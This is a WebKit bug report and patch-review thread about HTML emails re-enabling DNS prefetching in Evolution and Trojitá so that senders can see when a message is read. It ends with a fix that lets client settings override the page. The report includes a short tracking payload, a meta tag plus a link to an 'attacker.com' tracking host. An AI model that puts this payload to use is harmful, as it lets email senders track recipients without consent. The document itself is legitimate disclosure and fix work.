Bug 182924 – Potential privacy issue: DNS prefetching can be re-enabled

• Component: WebKitGTK
• Status: RESOLVED FIXED

In the scope of academic research we systematically analyzed various email clients for `web bugs' -- 1x1 pixel images in HTML emails used by spammers to track if their mails to a certain address are actually read. To respect the privacy of their customers most email clients, by default, block external content like images in HTML emails. This can be bypassed on Trojitá and Evolution by re-enabling DNS prefetching within the HTML email itself:

<meta http-equiv="x-dns-prefetch-control" content="on">
<a href="http://tracking-id.attacker.com"></a>

The related bug reports can be found here:

https://bugs.kde.org/show_bug.cgi?id=390452
https://bugzilla.gnome.org/show_bug.cgi?id=793449

Both mail clients use WebKit to render HTML emails, so it may actually be a WebKit issue and should be fixed here.

For the testing the mail clients we used Debian GNU/Linux 9.3 with:

- libwebkit2gtk-4.0-37:amd64 (version 2.16.6+0+deb9u1)
- libqt5webkit5:amd64 (version 5.7.1+dfsg-1)

[Milan Crha]

Created attachment 334367 [details]
proposed patch

Let's prefer settings value over the on ein the page. That is, once the DNS prefething is disabled in the WebKit settings, it cannot be enabled by the page.

[EWS Watchlist]

Attachment 334367 [details] did not pass style-queue:


ERROR: Source/WebCore/ChangeLog:10:  Line contains tab character.  [whitespace/tab] [5]
Total errors found: 1 in 2 files


If any of these errors are false positives, please file a bug against check-webkit-style.

[Milan Crha]

Created attachment 334372 [details]
proposed patch (fixed tab in ChangeLog)

[Michael Catanzaro]

Comment on attachment 334372 [details]
proposed patch (fixed tab in ChangeLog)

Tor users are not going to be happy about this. (Another good example of why you should only use Tor with Tor Browser Bundle....)

I think this patch makes sense, but since no ports enable DNS prefetch by default, this really totally disables DNS prefetch in WebKit, to the point where we should be considering removing the feature entirely. And that is rather strange, since prefetch is considered to be a major performance boost.

By coincidence, I had started a discussion about this yesterday: https://lists.webkit.org/pipermail/webkit-dev/2018-February/029881.html

[Milan Crha]

Tor users can enable the DNS prefetch in settings and it'll make them happy again. Evolution explicitly disables the prefetch. I didn't know all webkit has this disabled by default, good to know. As this will be all client-driven, there is no need to remove the setting and the code around it, it's all fine.

I believe the intention to have the page override this option is just a security hole, especially after Jens explained it (to me) in the GNOME bugzilla.

I hesitate to insert at the top of each generated HTML code by evolution (in iframe-s too?) a new <meta> first, to explicitly disable prefetch, then any similar tag in received mail would not enable it, but if you think it's the way to go, then let it be the way to go.

Another approach would be to have enable-dns-prefetch a three-state value:
1) enabled always
2) disabled always
3) disabled, but allow the page enable it (to mimic the current behaviour and
   expectations)

and the most the page will be always able to disable DNS pefetch, but enable it only if the setting will be the value 3) from the above list.

[Chris Dumez]

Comment on attachment 334372 [details]
proposed patch (fixed tab in ChangeLog)

View in context: https://bugs.webkit.org/attachment.cgi?id=334372&action=review

> Source/WebCore/dom/Document.cpp:-5763
> -    if (equalLettersIgnoringASCIICase(dnsPrefetchControl, "on") && !m_haveExplicitlyDisabledDNSPrefetch) {

I'd rather we return early in this method if !settings().dnsPrefetchingEnabled(). Otherwise, we end up changing the value of m_haveExplicitlyDisabledDNSPrefetch.

[Milan Crha]

(In reply to Chris Dumez from comment #6)
> I'd rather we return early in this method if
> !settings().dnsPrefetchingEnabled(). Otherwise, we end up changing the value
> of m_haveExplicitlyDisabledDNSPrefetch.

I've been thinking of it too, but:
a) I wanted ensure that the prefetch will be disabled
b) that variable is used basically only here (and in initDNSPrefetch(), where
   it's set to 'false' again) and after this change is means "explicitly
   disabled by settings" here, from my point of view.

I added some debug prints around and the initDNSPrefetch() is called plenty of times after each page reload (or load of a new page in case of Evolution), thus the value is reset often.

[Michael Catanzaro]

(In reply to Milan Crha from comment #5)
> Tor users can enable the DNS prefetch in settings and it'll make them happy
> again.

I mean: if you use tor, you really don't want to be locally prefetching anything.

[Michael Catanzaro]

I also think early return would be cleaner.

Chris, you're OK with changing the semantics of this HTTP header to only allow disabling prefetch, never enabling it? I think we need to; the bug report is valid.

[Chris Dumez]

(In reply to Michael Catanzaro from comment #9)
> I also think early return would be cleaner.
> 
> Chris, you're OK with changing the semantics of this HTTP header to only
> allow disabling prefetch, never enabling it? I think we need to; the bug
> report is valid.

I think the change makes sense. Client setting should override anything else IMHO.

[Milan Crha]

Created attachment 334442 [details]
proposed patch ][

In case you want the page only to disable prefetching, but never enable it, then the m_haveExplicitlyDisabledDNSPrefetch property can be removed and the code simplified as much as this.

[Chris Dumez]

Comment on attachment 334442 [details]
proposed patch ][

View in context: https://bugs.webkit.org/attachment.cgi?id=334442&action=review

> Source/WebCore/dom/Document.cpp:-5769
> -    m_haveExplicitlyDisabledDNSPrefetch = true;

I do not understand why it is OK to drop this flag. This flag has nothing to do with the page setting.

[Michael Catanzaro]

Comment on attachment 334442 [details]
proposed patch ][

View in context: https://bugs.webkit.org/attachment.cgi?id=334442&action=review

> Source/WebCore/dom/Document.cpp:5765
> +    // let the page only disable prefetching, not enable it

WebKit style is to write the comment as a full sentence, with a capital L and a period at the end.

>> Source/WebCore/dom/Document.cpp:-5769
>> -    m_haveExplicitlyDisabledDNSPrefetch = true;
> 
> I do not understand why it is OK to drop this flag. This flag has nothing to do with the page setting.

I think m_haveExplicitlyDisabledDNSPrefetch is there to ensure that if prefetch is disabled, either with the HTTP header or HTML meta http-equiv, it can't ever be reenabled the same way. Thanks for trying to clean up the code, but I think we should keep it.

[Milan Crha]

Well, when I change it to something like this:

diff --git a/Source/WebCore/dom/Document.cpp b/Source/WebCore/dom/Document.cpp
index 0a5a1df61a..db08fb9b7a 100644
--- a/Source/WebCore/dom/Document.cpp
+++ b/Source/WebCore/dom/Document.cpp
@@ -5765,10 +5765,12 @@ void Document::initDNSPrefetch()
 
 void Document::parseDNSPrefetchControlHeader(const String& dnsPrefetchControl)
 {
-    if (equalLettersIgnoringASCIICase(dnsPrefetchControl, "on") && !m_haveExplicitlyDisabledDNSPrefetch) {
-        m_isDNSPrefetchEnabled = true;
+    if (!settings().dnsPrefetchingEnabled())
+        return;
+
+    // Let the page only disable prefetching, not enable it.
+    if (equalLettersIgnoringASCIICase(dnsPrefetchControl, "on"))
         return;
-    }
 
     m_isDNSPrefetchEnabled = false;
     m_haveExplicitlyDisabledDNSPrefetch = true;

then it's only written to m_haveExplicitlyDisabledDNSPrefetch, never read from it. That's why I removed it.

I think the change is that simple that you can correct it the way which prefer to you, I really do not care of credits, I only would like to have this included in the next stable release of WebKitGTK+ and not miss it due to nitpicks.

[Michael Catanzaro]

Just don't get rid of the && !m_haveExplicitlyDisabledDNSPrefetch check:

void Document::parseDNSPrefetchControlHeader(const String& dnsPrefetchControl)
{
    // Prefetch disabled in settings
    if (!settings().dnsPrefetchingEnabled())
        return;

    // Prefetch requested by website *AND not previously turned off by website*
    if (equalLettersIgnoringASCIICase(dnsPrefetchControl, "on") && !m_haveExplicitlyDisabledDNSPrefetch) {
        m_isDNSPrefetchEnabled = true;
        return;
    }
 
    // Prefetch turned off by website (any value for the header except "on")
    m_isDNSPrefetchEnabled = false;
    m_haveExplicitlyDisabledDNSPrefetch = true;
}

[Milan Crha]

(In reply to Chris Dumez from comment #10)
> (In reply to Michael Catanzaro from comment #9)
> > I also think early return would be cleaner.
> > 
> > Chris, you're OK with changing the semantics of this HTTP header to only
> > allow disabling prefetch, never enabling it? I think we need to; the bug
> > report is valid.
> 
> I think the change makes sense. Client setting should override anything else
> IMHO.

The suggestion in comment #15 goes against the above quoted part, from my point of view. Especially when we agree that the web page should not ever enable the DNS prefetch on its own when user settings is OFF. I look on it this way:

   - settings = OFF, then DNS prefetch is kept off whatever the page or
     response headers will claim
   - settings = ON, then the DNS prefetch is enabled and the page can only
     disable the prefetch; when the page uses "on", then it won't change
     anything (prefetch is already enabled)
     * if the page (or the transport headers) disable DNS prefetching
       and then the page "changes its mind" and will try to enable it again,
       then the code with m_haveExplicitlyDisabledDNSPrefetch doesn't
       make much sense to me, because in that case WebKit would try to dictate
       some "workflow" to the web pages, which looks odd, because WebKit has
       the settings to let the clients (users of WebKit) influence the DNS
       prefetching behaviour, and the user already said it's fine to do DNS
       prefetching, thus it doesn't matter whether the page disabled and then
       enabled it again (or ten times).

I think that the code complexity with m_haveExplicitlyDisabledDNSPrefetch is not needed, unless you are afraid of (or you want to cover) some header injection on the response headers/page content(/iframes?), but even then the last word has the WebKit client through the settings and if it is fine with DNS prefetching, then let the page do it or change it on/off to its likings.

[Michael Catanzaro]

(In reply to Milan Crha from comment #16)
> The suggestion in comment #15 goes against the above quoted part, from my
> point of view. Especially when we agree that the web page should not ever
> enable the DNS prefetch on its own when user settings is OFF. I look on it
> this way:
> 
>    - settings = OFF, then DNS prefetch is kept off whatever the page or
>      response headers will claim

Yes

>    - settings = ON, then the DNS prefetch is enabled and the page can only
>      disable the prefetch; when the page uses "on", then it won't change
>      anything (prefetch is already enabled)

Yes

>      * if the page (or the transport headers) disable DNS prefetching
>        and then the page "changes its mind" and will try to enable it again,
>        then the code with m_haveExplicitlyDisabledDNSPrefetch doesn't
>        make much sense to me, because in that case WebKit would try to
> dictate
>        some "workflow" to the web pages, which looks odd, because WebKit has
>        the settings to let the clients (users of WebKit) influence the DNS
>        prefetching behaviour, and the user already said it's fine to do DNS
>        prefetching, thus it doesn't matter whether the page disabled and then
>        enabled it again (or ten times).
> 
> I think that the code complexity with m_haveExplicitlyDisabledDNSPrefetch is
> not needed, unless you are afraid of (or you want to cover) some header
> injection on the response headers/page content(/iframes?), but even then the
> last word has the WebKit client through the settings and if it is fine with
> DNS prefetching, then let the page do it or change it on/off to its likings.

Since this setting affects the security of the page, the current code ensures that it is not possible to re-enable it once it has been disabled. There doesn't seem to be any strong reason for your patch to remove this restriction. I would prefer that your patch make only the originally-desired change.

[Milan Crha]

Created attachment 334626 [details]
proposed patch ]I[

Okay okay :)

[Michael Catanzaro]

Comment on attachment 334626 [details]
proposed patch ]I[

View in context: https://bugs.webkit.org/attachment.cgi?id=334626&action=review

Now, this patch looks good to me. Maybe Chris will want to give final review.

> Source/WebCore/dom/Document.cpp:5771
> +    // Prefetch requested by the website AND not previously turned off by the website

Please don't add this comment to the code; I had meant that to be a comment for Bugzilla purposes only. :) It's somewhat obvious, and also not a complete sentence.

[Milan Crha]

Created attachment 334678 [details]
proposed patch IV

[Michael Catanzaro]

Comment on attachment 334678 [details]
proposed patch IV

Chris, this look good to you?

[Chris Dumez]

Comment on attachment 334678 [details]
proposed patch IV

Yes.

[WebKit Commit Bot]

Comment on attachment 334678 [details]
proposed patch IV

Clearing flags on attachment: 334678

Committed r229061: <https://trac.webkit.org/changeset/229061>

[WebKit Commit Bot]

All reviewed patches have been landed.  Closing bug.